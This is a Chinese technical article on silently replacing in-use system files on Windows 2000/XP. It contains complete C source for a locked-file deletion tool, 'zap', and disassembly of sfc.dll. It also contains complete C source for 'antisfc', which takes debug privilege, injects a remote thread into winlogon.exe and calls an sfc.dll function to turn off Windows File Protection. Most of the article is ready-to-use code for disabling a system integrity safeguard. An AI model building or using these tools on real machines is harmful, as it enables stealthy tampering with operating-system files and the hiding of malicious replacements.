分享
 
 
 

在Win2000/XP上安静地替换正在使用的系统文件

王朝system·作者佚名  2006-04-14
窄屏简体版  字體: |||超大  

创建时间:2004-02-29

文章属性:原创

文章提交:bgate (bgate_at_163.com)

作者:bgate

邮件:t2di4u@hotmail.com (要找个没被用过的id真不是件容易的事):

总是索而不敷总有些过意不去.另外在安焦上灌了两年水竟然安焦文档还找不到一个我的名字. 灌不出篇精华帖子还回复不到别人灌的精华贴. 也算得上是个奇迹了.

要安静地替换正在使用的系统文件要解决两个问题:

1. 替换正在使用的文件.

2. 在替换系统文件时不显示插CD的对话框.

微软有两个工具可以替换正在使用的文件,zap和inuse. 不过都没有源代码, 只好逆向分析了. inuse比较大40K, zap很小7K. 就分析zap了.

用ida打开zap. 就有一个核心函数, 原来它的工作原理是把这个文件移了下位置, 因为比较简单就直接贴上代码.

-------------------cut zap.c---------

#include <Windows.h>

BOOL ZapDelFile(char *szFileToDel)

{

char cTempFileName[0x80];

char cTempPathName[0x100];

char cFileName[0x100];

if(szFileToDel[1] == ':'){

sprintf(cTempPathName, "%c:\\", szFileToDel[0]);

}

else{

GetModuleFileName(NULL, cFileName, 0x100);

sprintf(cTempPathName, "%c:\\", cFileName[0]);

}

if(GetTempFileName(cTempPathName, "_@", 0, cTempFileName) == 0){

return FALSE;

}

if(MoveFileEx(szFileToDel, cTempFileName, 1) == 0){

return FALSE;

}

if(MoveFileEx(cTempFileName, NULL, 4) == 0){

return FALSE;

}

return TRUE;

}

void usage(char *n) {

printf("usage: %s fileNeedToDel\n", n);

exit(0);

}

int main(int argc, char* argv[])

{

printf("Zap programed by bgate. :) *\n\n");

if (argc != 2)

usage(argv[0]);

if(ZapDelFile(argv[1]) == TRUE){

printf("OK");

}

else{

printf("error %d", GetLastError());

}

return 0;

}

-------------------end cat-----------

现在你已经可以用它去删除正在使用的系统文件了, 不过删除之后会弹出让你插入Windows CD对话框.

注意: 删系统文件前做好备份, 在重启前恢复, 另外删系统文件前还需要把dllcache中相应的备份删除. 否则系统会自动恢复.

接下来就想办法去掉这个对话框, 拿出我的法宝--google. 胡乱地搜了一气. 搜到两条有用信息.

1.Windows 2000下执行系统文件保护的代码在sfc.dll中, Xp系统下在sfc_os.dll中.

2.注册表中把一个叫SfcDisable的键设为FFFFFF9D能在下次启动时让文件保护功能失效.

下面的分析是在Win2K sp4+上进行的. 其中分析的sfc.dll版本是5.0.2195.6673

用ida打开sfc.dll在string中找sfcdisable, 没找到! 让string显示Unicode. 这下看到了. 找到对SfcDisable引用的一个地方.代码如下

.text:769269F9 call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)

.text:769269FE push ebx

.text:769269FF push offset ??_C@_1BG@HOGG@?$AAS?$AAf?$AAc?$AAD?; "SfcDisable"

.text:76926A04 push edi

.text:76926A05 push esi

.text:76926A06 mov _SFCDebug, eax

.text:76926A0B call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)

.text:76926A10 push ebx

.text:76926A11 push offset ??_C@_1BA@HLJH@?$AAS?$AAf?$AAc?$AAS?$AAc?$AAa?$AAn?$AA?$AA@ ; "SfcScan"

.text:76926A16 push edi

.text:76926A17 push esi

.text:76926A18 mov _SFCDisable, eax

.text:76926A1D call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)

.text:76926A22 push ebx

.text:76926A23 push offset ??_C@_1BC@KFAJ@?$AAS?$AAf?$AAc?$AAQ?$AAu?$AAo?$AAt?$AAa?$AA?$AA@ ; "SfcQuota"

.text:76926A28 push edi

.text:76926A29 push esi

.text:76926A2A mov _SFCScan, eax

其中_SfcQueryRegDwordWithAlternate@16是读注册表的函数. 很明显, 它把注册表中SfcDisable的值读到了_SFCDisable中. 好, 调出softice. 在_SFCDisable上设断点. 我们又用刚写的zap去删系统文件, softice弹出来了. 断到了下面这个地方, eip为7692A326, _SFCDisable为2.

.text:7692A319 push ecx

.text:7692A31A and [esp+4+var_4], 0

.text:7692A31F cmp _SFCDisable, 3

.text:7692A326 push ebx

.text:7692A327 push ebp

.text:7692A328 push esi

.text:7692A329 push edi

.text:7692A32A jnz short loc_7692A333

.text:7692A32C xor eax, eax

.text:7692A32E jmp loc_7692A459

F5退出, 一会儿对话框弹了出来, 就对这儿引用了一次. 很好, 看看上面这段代码"cmp _SFCDisable, 3". 此时_SFCDisable为2弹出了对话框, 那么我就把它改为3又用zap删系统文件试试. 哈, 运气很好, 这次没出现让插CD的对话框了. 也就是说只要我们把_SFCDisable改为3就能偷偷地替换系统文件了. 不过不同版本这个地址是不一样的, 用switch来做这个活总是不好. 得写个有通用性的代码.

开始我想它的工作原理大概是Winlogon发现了有对系统文件进行操作. 便调用sfc.dll中的输出函数进行检查. 我们就只需得到这个输出函数入口然后把这个函数"注释"掉就可以了.跟着上面这段代码逆流而上, 找到最后由76924544输出, 又在76924544上加个断点, 继续去删文件. softice跳出来了, 不过不在函数的入口, 反倒在刚才设置的对_SFCDisable的读取上, 没运行函数的入口就运行了函数体中的代码, 看来遇到高人了. 非得逼我出必杀技, 打开2000源代码 : ). 找了半天没找到相应代码又只得退回来看汇编, 最后发现了这个函数NtWaitForMultipleObjects. 呵, 难怪没中断在函数的入口上, 原来早运行了函数的入口然后在函数体里一直没退出. 注释函数的方法不行了.

这时我想它的工作原理大概是winlogon调用sfc.dll中的输出函数在系统启动时创建了一系列事件. 既然winlogon创建了, 那么它也应该得撤销. 用depends打开winlogon. 果然从sfc.dll中输入了两个函数. 一个是刚才分析的那个, 创建了一系列事件. 看看另一个, 输出地址是76926869, 不出所料, 关闭了一系列事件. 现在我们只要向winlogon中注入代码调用"另一个"函数就能取消文件保护功能了. 不过winlogon不能随便注入代码. 26A杂志第六期上有篇文章提到了注入方法:"adjust debugger access rightz to our process". 那也是一篇SFCDisable的文章, 他用的方法是在内存中搜索特征码, 然后修改. 通用性应该没这么好.

下面的注入方法是从crazylord的代码中拷过来的, 不过方法不是. :), 写完后就懒得检查了, 加之水平有限, 写的不过优雅的地方就将就着看.

-----------------cut antisfc.c-----------

#include <stdlib.h>

#include "Windows.h"

#include "Tlhelp32.h"

#pragma comment( lib, "Advapi32.lib" )

typedef void (_stdcall * CLOSEEVENTS)(void);

typedef unsigned long DWORD;

typedef DWORD ANTISFC_ACCESS;

/*

* ANTISFC structures

*/

typedef struct _ANTISFC_PROCESS {

DWORD Pid; // process pid

HANDLE ProcessHandle; // process handle

char ImageName[MAX_PATH]; // image name (not full path)

} ANTISFC_PROCESS, *PANTISFC_PROCESS;

__inline void ErrorMessageBox(char *szAdditionInfo)

{

printf("error on %s, error code %d. \n", szAdditionInfo, GetLastError());

}

void usage(char *n) {

printf("usage: %s [/d]\n", n);

printf("\t/d: disable sfc file protecte fuction.\n");

exit(0);

}

DWORD Init() {

DWORD Ret = 0;

HANDLE hToken;

LUID sedebugnameValue;

TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {

ErrorMessageBox("OpenProcessToken");

} else {

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {

ErrorMessageBox("LookupPrivilegeValue");

} else {

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Luid = sedebugnameValue;

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {

ErrorMessageBox("AdjustTokenPrivileges");

} else {

Ret = 1;

}

}

CloseHandle(hToken);

}

return(Ret);

}

DWORD GetPidEx(char *proc_name, char *full_path) {

DWORD dwPid=0;

HANDLE hSnapshot;

PROCESSENTRY32 pe;

BOOL Ret;

if (isdigit(proc_name[0]))

dwPid = strtoul(proc_name, NULL, 0);

else

dwPid = -1;

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapshot == (HANDLE) -1){

ErrorMessageBox("CreateToolhelp32Snapshot");

return(0);

}

pe.dwSize = sizeof(PROCESSENTRY32);

Ret = Process32First(hSnapshot, &pe);

while (Ret) {

if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0)

|| (pe.th32ProcessID == dwPid)) {

dwPid = pe.th32ProcessID;

strcpy(full_path, pe.szExeFile);

break;

}

pe.dwSize = sizeof(PROCESSENTRY32);

Ret = Process32Next(hSnapshot, &pe);

}

CloseHandle(hSnapshot);

if (dwPid == -1)

dwPid = 0;

return(dwPid);

}

DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access) {

DWORD Ret=0;

Process->Pid = GetPidEx(proc_name, Process->ImageName);

if (Process->Pid != 0 && Process->ImageName[0] != 0) {

Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid);

if (Process->ProcessHandle == NULL)

ErrorMessageBox("OpenProcess");

else

Ret = 1;

}

return(Ret);

}

DWORD InjectThread(PANTISFC_PROCESS Process,

PVOID function) {

HANDLE hThread;

DWORD dwThreadPid = 0, dwState;

hThread = CreateRemoteThread(Process->ProcessHandle,

NULL,

0,

(DWORD (__stdcall *) (void *)) function,

NULL,

0,

&dwThreadPid);

if (hThread == NULL) {

ErrorMessageBox("CreateRemoteThread");

goto cleanup;

}

dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes

switch (dwState) {

case WAIT_TIMEOUT:

case WAIT_FAILED:

ErrorMessageBox("WaitForSingleObject");

goto cleanup;

case WAIT_OBJECT_0:

break;

default:

ErrorMessageBox("WaitForSingleObject");

goto cleanup;

}

CloseHandle(hThread);

return dwThreadPid;

cleanup:

CloseHandle(hThread);

return 0;

}

int main(int argc, char* argv[])

{

ANTISFC_PROCESS Process;

HMODULE hSfc;

DWORD dwThread;

CLOSEEVENTS pfnCloseEvents;

DWORD dwVersion;

printf("AntiSfc programed by bgate. :) *\n\n");

if (argc != 2)

usage(argv[0]);

if (strcmp(argv[1], "/d") != 0) {

usage(argv[0]);

}

if (Init()) {

printf("debug privilege set\n");

} else {

printf("error on get debug privilege\n");

return(0);

}

if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0) {

printf("error on get process info. \n");

return(0);

}

dwVersion = GetVersion();

if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5){ // Windows 2000/XP

if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0){ //Windows 2000

hSfc = LoadLibrary("sfc.dll");

printf("Win2000\n");

}

else {//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP

hSfc = LoadLibrary("sfc_os.dll");

printf("Windows XP\n");

}

}

//else if () //2003?

else {

printf("unsupported version\n");

}

pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc,

MAKEINTRESOURCE(2));

if(pfnCloseEvents == NULL){

printf("Load the sfc fuction failed\n");

FreeLibrary(hSfc);

return(0);

}

FreeLibrary(hSfc);

dwThread = InjectThread(&Process,

pfnCloseEvents);

if(dwThread == 0){

printf("failed\n");

}

else{

printf("OK\n");

}

CloseHandle(Process.ProcessHandle);

return(0);

}

------------------end cut---------

在运行zap替换系统文件前运行一下antisfc就行了, 你也可以把它们写到一起. 理论上他能在2000, xp, 2003?的任何版本上使用. 不过我只在Win2K sp4+, WinXP sp1+上测试过.

本文的缺点是替换的系统文件只能在重启后生效, 写完了.

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有